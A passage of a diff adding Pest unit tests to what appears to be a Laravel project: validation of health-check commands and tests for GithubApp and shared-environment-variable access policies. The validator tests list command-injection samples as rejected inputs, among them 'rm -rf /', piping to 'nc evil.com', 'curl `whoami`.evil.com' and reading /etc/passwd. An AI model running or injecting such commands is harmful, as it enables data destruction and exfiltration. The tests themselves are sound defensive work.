$commandRules = ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'];
|
||||||
|
|
||||||
|
it('rejects healthCheckCommand over 1000 characters', function () use ($commandRules) {
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||||
|
['healthCheckCommand' => $commandRules]
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||||
|
['healthCheckCommand' => $commandRules]
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('accepts null healthCheckCommand', function () use ($commandRules) {
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckCommand' => null],
|
||||||
|
['healthCheckCommand' => $commandRules]
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('accepts simple commands', function ($command) use ($commandRules) {
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckCommand' => $command],
|
||||||
|
['healthCheckCommand' => $commandRules]
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeFalse();
|
||||||
|
})->with([
|
||||||
|
'pg_isready -U postgres',
|
||||||
|
'redis-cli ping',
|
||||||
|
'curl -f http://localhost:8080/health',
|
||||||
|
'wget -q -O- http://localhost/health',
|
||||||
|
'mysqladmin ping -h 127.0.0.1',
|
||||||
|
]);
|
||||||
|
|
||||||
|
it('rejects commands with shell operators', function ($command) use ($commandRules) {
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckCommand' => $command],
|
||||||
|
['healthCheckCommand' => $commandRules]
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeTrue();
|
||||||
|
})->with([
|
||||||
|
'pg_isready; rm -rf /',
|
||||||
|
'redis-cli ping | nc evil.com 1234',
|
||||||
|
'curl http://localhost && curl http://evil.com',
|
||||||
|
'echo $(whoami)',
|
||||||
|
'cat /etc/passwd > /tmp/out',
|
||||||
|
'curl `whoami`.evil.com',
|
||||||
|
'cmd & background',
|
||||||
|
'echo "hello"',
|
||||||
|
"echo 'hello'",
|
||||||
|
'test < /etc/passwd',
|
||||||
|
'bash -c {echo,pwned}',
|
||||||
|
'curl http://evil.com#comment',
|
||||||
|
'echo $HOME',
|
||||||
|
"cmd\twith\ttabs",
|
||||||
|
"cmd\nwith\nnewlines",
|
||||||
|
]);
|
||||||
|
|
||||||
|
it('rejects invalid healthCheckType', function () {
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckType' => 'exec'],
|
||||||
|
['healthCheckType' => 'string|in:http,cmd']
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('accepts valid healthCheckType values', function ($type) {
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckType' => $type],
|
||||||
|
['healthCheckType' => 'string|in:http,cmd']
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeFalse();
|
||||||
|
})->with(['http', 'cmd']);
|
||||||
|
|
@ -165,12 +165,69 @@
|
||||||
expect($validator->fails())->toBeFalse();
|
expect($validator->fails())->toBeFalse();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('generates CMD healthcheck command directly', function () {
|
||||||
|
$result = callGenerateHealthcheckCommands([
|
||||||
|
'health_check_type' => 'cmd',
|
||||||
|
'health_check_command' => 'pg_isready -U postgres',
|
||||||
|
]);
|
||||||
|
|
||||||
|
expect($result)->toBe('pg_isready -U postgres');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('strips newlines from CMD healthcheck command', function () {
|
||||||
|
$result = callGenerateHealthcheckCommands([
|
||||||
|
'health_check_type' => 'cmd',
|
||||||
|
'health_check_command' => "redis-cli ping\n&& echo pwned",
|
||||||
|
]);
|
||||||
|
|
||||||
|
expect($result)->not->toContain("\n")
|
||||||
|
->and($result)->toBe('redis-cli ping && echo pwned');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
|
||||||
|
$result = callGenerateHealthcheckCommands([
|
||||||
|
'health_check_type' => 'cmd',
|
||||||
|
'health_check_command' => '',
|
||||||
|
]);
|
||||||
|
|
||||||
|
// Should fall through to HTTP path
|
||||||
|
expect($result)->toContain('curl -s -X');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
|
||||||
|
$rules = [
|
||||||
|
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||||
|
];
|
||||||
|
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||||
|
$rules
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('validates healthCheckCommand accepts strings under 1000 characters', function () {
|
||||||
|
$rules = [
|
||||||
|
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||||
|
];
|
||||||
|
|
||||||
|
$validator = Validator::make(
|
||||||
|
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||||
|
$rules
|
||||||
|
);
|
||||||
|
|
||||||
|
expect($validator->fails())->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
|
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
|
||||||
*/
|
*/
|
||||||
function callGenerateHealthcheckCommands(array $overrides = []): string
|
function callGenerateHealthcheckCommands(array $overrides = []): string
|
||||||
{
|
{
|
||||||
$defaults = [
|
$defaults = [
|
||||||
|
'health_check_type' => 'http',
|
||||||
|
'health_check_command' => null,
|
||||||
'health_check_method' => 'GET',
|
'health_check_method' => 'GET',
|
||||||
'health_check_scheme' => 'http',
|
'health_check_scheme' => 'http',
|
||||||
'health_check_host' => 'localhost',
|
'health_check_host' => 'localhost',
|
||||||
|
|
@ -182,6 +239,8 @@ function callGenerateHealthcheckCommands(array $overrides = []): string
|
||||||
$values = array_merge($defaults, $overrides);
|
$values = array_merge($defaults, $overrides);
|
||||||
|
|
||||||
$application = Mockery::mock(Application::class)->makePartial();
|
$application = Mockery::mock(Application::class)->makePartial();
|
||||||
|
$application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
|
||||||
|
$application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
|
||||||
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
|
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
|
||||||
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
|
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
|
||||||
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
|
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
|
||||||
|
|
|
||||||
227
tests/Unit/Policies/GithubAppPolicyTest.php
Normal file
227
tests/Unit/Policies/GithubAppPolicyTest.php
Normal file
|
|
@ -0,0 +1,227 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
use App\Models\User;
|
||||||
|
use App\Policies\GithubAppPolicy;
|
||||||
|
|
||||||
|
it('allows any user to view any github apps', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->viewAny($user))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('allows any user to view system-wide github app', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
|
||||||
|
public $is_system_wide = true;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->view($user, $model))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('allows team member to view non-system-wide github app', function () {
|
||||||
|
$teams = collect([
|
||||||
|
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
|
||||||
|
public $is_system_wide = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->view($user, $model))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies non-team member to view non-system-wide github app', function () {
|
||||||
|
$teams = collect([
|
||||||
|
(object) ['id' => 2, 'pivot' => (object) ['role' => 'member']],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
|
||||||
|
public $is_system_wide = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->view($user, $model))->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('allows admin to create github app', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('isAdmin')->andReturn(true);
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->create($user))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies non-admin to create github app', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('isAdmin')->andReturn(false);
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->create($user))->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('allows user with system access to update system-wide github app', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
|
||||||
|
public $is_system_wide = true;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->update($user, $model))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies user without system access to update system-wide github app', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
|
||||||
|
public $is_system_wide = true;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->update($user, $model))->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('allows team admin to update non-system-wide github app', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
|
||||||
|
public $is_system_wide = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->update($user, $model))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies team member to update non-system-wide github app', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
|
||||||
|
public $is_system_wide = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->update($user, $model))->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('allows user with system access to delete system-wide github app', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
|
||||||
|
public $is_system_wide = true;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->delete($user, $model))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies user without system access to delete system-wide github app', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
|
||||||
|
public $is_system_wide = true;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->delete($user, $model))->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('allows team admin to delete non-system-wide github app', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
|
||||||
|
public $is_system_wide = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->delete($user, $model))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies team member to delete non-system-wide github app', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
|
||||||
|
public $is_system_wide = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->delete($user, $model))->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies restore of github app', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
|
||||||
|
public $is_system_wide = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->restore($user, $model))->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies force delete of github app', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
|
||||||
|
public $is_system_wide = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new GithubAppPolicy;
|
||||||
|
expect($policy->forceDelete($user, $model))->toBeFalse();
|
||||||
|
});
|
||||||
163
tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
Normal file
163
tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
Normal file
|
|
@ -0,0 +1,163 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
use App\Models\User;
|
||||||
|
use App\Policies\SharedEnvironmentVariablePolicy;
|
||||||
|
|
||||||
|
it('allows any user to view any shared environment variables', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
|
||||||
|
$policy = new SharedEnvironmentVariablePolicy;
|
||||||
|
expect($policy->viewAny($user))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('allows team member to view their team shared environment variable', function () {
|
||||||
|
$teams = collect([
|
||||||
|
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new SharedEnvironmentVariablePolicy;
|
||||||
|
expect($policy->view($user, $model))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies non-team member to view shared environment variable', function () {
|
||||||
|
$teams = collect([
|
||||||
|
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 2;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new SharedEnvironmentVariablePolicy;
|
||||||
|
expect($policy->view($user, $model))->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('allows admin to create shared environment variable', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('isAdmin')->andReturn(true);
|
||||||
|
|
||||||
|
$policy = new SharedEnvironmentVariablePolicy;
|
||||||
|
expect($policy->create($user))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies non-admin to create shared environment variable', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('isAdmin')->andReturn(false);
|
||||||
|
|
||||||
|
$policy = new SharedEnvironmentVariablePolicy;
|
||||||
|
expect($policy->create($user))->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('allows team admin to update shared environment variable', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new SharedEnvironmentVariablePolicy;
|
||||||
|
expect($policy->update($user, $model))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies team member to update shared environment variable', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new SharedEnvironmentVariablePolicy;
|
||||||
|
expect($policy->update($user, $model))->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('allows team admin to delete shared environment variable', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new SharedEnvironmentVariablePolicy;
|
||||||
|
expect($policy->delete($user, $model))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies team member to delete shared environment variable', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new SharedEnvironmentVariablePolicy;
|
||||||
|
expect($policy->delete($user, $model))->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies restore of shared environment variable', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new SharedEnvironmentVariablePolicy;
|
||||||
|
expect($policy->restore($user, $model))->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies force delete of shared environment variable', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new SharedEnvironmentVariablePolicy;
|
||||||
|
expect($policy->forceDelete($user, $model))->toBeFalse();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('allows team admin to manage environment', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new SharedEnvironmentVariablePolicy;
|
||||||
|
expect($policy->manageEnvironment($user, $model))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('denies team member to manage environment', function () {
|
||||||
|
$user = Mockery::mock(User::class)->makePartial();
|
||||||
|
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||||
|
|
||||||
|
$model = new class
|
||||||
|
{
|
||||||
|
public $team_id = 1;
|
||||||
|
};
|
||||||
|
|
||||||
|
$policy = new SharedEnvironmentVariablePolicy;
|
||||||
|
expect($policy->manageEnvironment($user, $model))->toBeFalse();
|
||||||
|
});
|
||||||
Loading…
Reference in a new issue